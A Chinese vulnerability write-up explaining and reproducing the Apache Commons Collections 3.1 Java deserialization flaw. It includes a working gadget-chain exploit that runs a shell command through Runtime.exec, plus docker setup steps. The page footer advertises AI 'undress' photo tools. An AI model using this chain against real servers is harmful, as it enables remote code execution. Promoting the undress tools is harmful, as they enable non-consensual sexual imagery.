如何进行Apache Commons Collections反序列化漏洞分析与复现
1.1 状态
完成漏洞挖掘条件分析、漏洞复现。
1.2 漏洞分析
存在安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。
POC核心代码:
package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //触发漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}
漏洞利用思路:
Transformer接口-实现类-InvokerTransformer(),可调用任何函数。
为实现 Runtime.getRuntime().exec(cmd),要多次调用 transformer 并将当前返回结果作为下次输入信息。
为调用 Runtime.getRuntime(),考虑 ConstantTransformer 类,它可直接将输入的参数作为输出。
ChainedTransformer 作为实现类,对于接收的Transformer 数组,采用自身的transform方法(参数是用户输入的)逐次处理Transformer数组对象,将其结果作为下次重复调用的输入参数。它的 transform()方法即可出触发漏洞。
为寻找反序列化途径,即读进来数据被反序列化执行,则反向寻找可触发ChainedTransformer 对象 .transform() 方法的途径。
HashMap类可以键值对方式存储数据,put(key,value)方法可存储数据。
TransformedMap类的功能是存储键值对并将其转换为transform objects,decorate()方法可创建键值对组,checkSetValue()方法会触发this.valueTransformer.transform()语句。依次反向寻找调用 checkSetValue()【1】,使 this.valueTransformer 为 ChainedTransformer 对象的途径【2】。
对于【2】,TransformedMap 类的静态方法 decorate()可达到目标。
对于【1】,AbstractInputCheckedMapDecorator 类 MapEntry 静态类的setValue方法会执行this.parent.checkSetValue(value),则接下来应使this.parent为TransformedMap对象【3】。
对于【3】,正向分析POC中此段代码:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
研究可知,执行过程中多次在AbstractInputCheckedMapDecorator类中,将TransformedMap对象赋值给this.parent,返回Map.Entry对象,正好可以执行setValue()方法,触发漏洞。
为提升通用性,必须设法使得调用反序列化方法即触发漏洞,因此,考虑寻找类对象满足“重写反序列化readObject()且执行Map类对象变量的setValue(),同时此变量可被控制赋键值数据”。AnnotationInvocationHandler类满足此需求【它对Map类型的成员变量的每个条目均调用setValue()】。
Class.forName() 功能是加载类。
则再次分析,对于【1】,正向分析POC中核心代码:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
研究可知,执行过程会执行 MapEntry 静态类的 setValue 方法,且会执行entrySet 方法使得 this.parent=TransformedMap 对象,从而触发漏洞。
总的来说,正向的POC构造思路为:先构造 ChainedTransformer 对象,随后创建 Map 对象,再采用 TransformedMap 类实例将 ChainedTransformer 对象保存至 Map 类对象中,再通过反射方法获得经 Map 类对象初始化的AnnotationInvocationHandler 类实例,对其进行序列化。
1.3 docker复现
下载制作的docker镜像,用以下命令:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
设置局域网及容器ip、启动容器,例子:
(1)自定义网络
docker network create --subnet=192.168.10.1/24 testnet
(2)启动docker容器
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
在容器【Apache-Commons-Collections】中,执行命令【java -jar commons-collections-3.1.jar】,则生成文件【CommonsCollections3.1】,如下图。
以上是如何进行Apache Commons Collections反序列化漏洞分析与复现的详细内容。更多信息请关注PHP中文网其他相关文章!

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

热门话题

Java使用Collections类的frequency()函数计算集合中指定元素出现的次数在Java编程中,Collections类是一个包含了许多静态方法的实用类,用于对集合进行操作。其中之一是frequency()函数,用于计算集合中指定元素出现的次数。这个函数非常简单且易于使用,为Java开发人员提供了方便和灵活性。下面是一个示例代码,展示了如何使用

Java利用Collections类的binarySearch()函数在有序集合中进行二分查找二分查找是一种在有序集合中查找特定元素的高效算法。在Java中,我们可以利用Collections类的binarySearch()函数来实现二分查找。本文将介绍如何使用binarySearch()函数来在有序集合中进行查找,并提供具体的代码示例。二分查找算法的基本思

Java利用Collections类的shuffle()函数打乱集合中元素的顺序在Java编程语言中,Collections类是一个工具类,提供了各种静态方法,用于操作集合。其中之一是shuffle()函数,它可以用来打乱集合中元素的顺序。本篇文章将演示如何使用该函数,并提供相应的代码示例。首先,我们需要导入java.util包中的Collections类,

Java利用Collections类的sort()函数对集合进行排序在Java中,我们经常需要对集合进行排序。而Collections类提供了一个sort()函数,可以很方便地对集合进行排序。本文将介绍如何使用Collections类的sort()函数进行集合排序,并附带代码示例。首先,我们需要导入java.util包,以使用Collections类。imp

Java使用Collections类的max()函数获取集合中的最大值在Java编程中,我们经常需要从一个集合中获取最大值。为了简化这个过程,并提高代码的可读性和效率,Java提供了Collections类的max()函数。这个函数可以帮助我们轻松地找到集合中的最大值。本文将介绍如何使用Collections类的max()函数,并附带相应的代码示例。Coll

Python2.x中如何使用collections模块进行高级数据结构操作导语:在Python的标准库中,collections模块提供了一些高级数据结构,能够方便地进行各种操作。本文将介绍collections模块主要提供的几种数据结构,并给出相关的代码示例。一、CounterCounter是一个简单而强大的计数器工具,可以用来统计可迭代对象中每个元素

一、简介虽然网上已经有很多文章对这个组件的反序列化漏洞进行分析,但在这里还是记录一下。毕竟,这对Java反序列化漏洞的发展意义重大。ApacheCommonsCollections是Java应用开发中一个非常常用的工具库,它添加了许多强大的数据结构,简化了Java应用程序的开发,已经成为Java处理集合数据的公认标准。像许多常见的应用如Weblogic、WebSphere、Jboss、Jenkins等都使用了ApacheCommonsCollections工具库,当该工具库出现反序列化漏洞时,这

Python3.x中如何使用collections模块进行高级数据结构操作引言:在Python编程中,经常需要处理各种数据结构,如列表、字典等。然而,在某些特定的场景下,我们可能需要更高级的数据结构来更好地组织和管理数据。幸运的是,Python的collections模块提供了一些强大的数据结构,帮助我们更高效地操作数据。本文将介绍collections
